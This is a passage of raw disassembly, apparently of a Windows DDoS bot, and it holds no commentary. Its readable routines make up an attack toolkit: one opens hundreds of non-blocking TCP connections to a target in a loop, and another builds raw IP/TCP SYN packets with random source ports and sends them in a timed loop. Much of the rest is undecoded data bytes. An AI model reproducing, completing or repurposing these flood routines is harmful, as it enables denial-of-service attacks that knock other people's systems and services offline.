		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27709A8h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 2468FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A18Co
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BF4h, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BD4h, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8C68h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Bh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B4068h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022BCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7C68FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C5068h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22BCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 7EE89000h
		dd 500226D3h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0D068FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D985E890h
		dd 754E0224h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0A468FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 2BC9DBE8h
		db 2, 90h
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF868FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022BC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2660F2Bh
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D24h, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 0E8565959h, 22BC798h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770C07h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27709A8h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27709A8h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6C68FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E8468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E4Ch, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
